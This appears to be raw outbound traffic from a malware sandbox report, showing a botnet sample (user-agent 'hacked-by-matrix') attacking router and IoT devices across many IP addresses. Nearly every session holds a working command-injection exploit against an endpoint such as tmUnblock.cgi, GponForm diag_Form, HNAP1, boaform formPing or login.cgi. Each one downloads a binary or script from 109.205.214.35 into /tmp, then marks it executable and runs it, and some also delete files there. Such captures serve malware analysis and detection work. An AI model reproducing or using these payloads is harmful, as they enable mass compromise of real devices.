1d 31 11 9a 1c 71 94 82 71 ac 5b 3d 17 9b 54 ca 91 f7 e2 b9 96 5b 4d 98 b2 58 f7 70 bd 36 e5 f1 06 b2 59 86 0f ac c7 d2 5e 94 56 85 f7 fb 3f c2 b2 26 b3 5a 2d b0 cb 1e 59 ff 08 2b 72 07 72 20 c3 bf b9 4a 96 fb 60 07 1f c6 c2 45 03 76 e5 81 cc 67 22 36 76 d7 f8 a2 75 59 7c 97 41 db 26 14 8e e2 bf a7 42 19 df 3a 84 cc ba 00 fd 6e c4 17 7f 31 ac 53 4c 31 9c 36 da ce 2f 25 ca 1b fe 95 01 00 00 Data Ascii: EP]K1\|XIB-iDA "GA/9\\[evw_=,]@~YG"'qu'opC(D6Fq</:O{D^\(m*2P)aC^KGTig[[bi1qq[=T[MXp6Y^V?&Z-Y+rr J`Evg"6vuY\|A&B:n1SL16/%

Session ID	Source IP	Source Port	Destination IP	Destination Port
401	192.168.2.23	47988	172.64.53.197	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:24.089289904 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:17:24.366646051 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
402	192.168.2.23	32912	172.66.214.97	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:24.089328051 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:17:24.369910955 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
403	192.168.2.23	58828	178.127.18.147	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:24.098984957 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
404	192.168.2.23	42234	210.9.24.120	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:24.098992109 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
405	192.168.2.23	34396	212.127.176.206	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:24.099030018 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
406	192.168.2.23	37162	109.68.46.189	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:24.099066973 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
407	192.168.2.23	54696	37.7.171.242	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:24.099070072 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
408	192.168.2.23	51342	118.201.131.210	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:24.099119902 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
409	192.168.2.23	56702	5.227.52.30	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:24.099147081 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
410	192.168.2.23	38294	109.253.168.61	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:24.099152088 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
411	192.168.2.23	43348	37.30.47.214	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:24.099282026 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
412	192.168.2.23	34682	159.60.224.42	8081

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:24.117666006 CET	763	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://109.205.214.35/mips && chmod +x mips;./mips hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
413	192.168.2.23	42166	172.241.250.131	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:24.152379036 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
414	192.168.2.23	49182	65.124.99.8	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:24.152602911 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:24.273210049 CET	502	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Thu, 21 Mar 2024 04:17:24 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
415	192.168.2.23	55862	213.123.144.251	1723

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:24.297164917 CET	270	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
416	192.168.2.23	57392	213.125.126.166	1723

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:24.318485022 CET	270	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
417	192.168.2.23	47360	213.249.166.171	1723

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:24.320986032 CET	270	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
418	192.168.2.23	36816	172.67.191.117	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:24.405513048 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
419	192.168.2.23	46626	172.202.72.255	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:24.446342945 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:17:24.575452089 CET	502	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Thu, 21 Mar 2024 04:17:24 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>
Mar 21, 2024 05:17:24.968667030 CET	502	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Thu, 21 Mar 2024 04:17:24 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
420	192.168.2.23	59192	98.198.87.74	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:24.457927942 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
421	192.168.2.23	45834	178.132.208.62	1723

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:24.470112085 CET	270	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
422	192.168.2.23	44402	169.239.42.191	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:24.635040045 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
423	192.168.2.23	38674	212.35.212.253	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:24.813498974 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:25.016014099 CET	461	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:17:24 GMT Server: Apache Content-Length: 283 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 64 65 66 61 75 6c 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache Server at default Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
424	192.168.2.23	47552	70.112.113.225	7547

Timestamp	Bytes transferred	Direction	Data
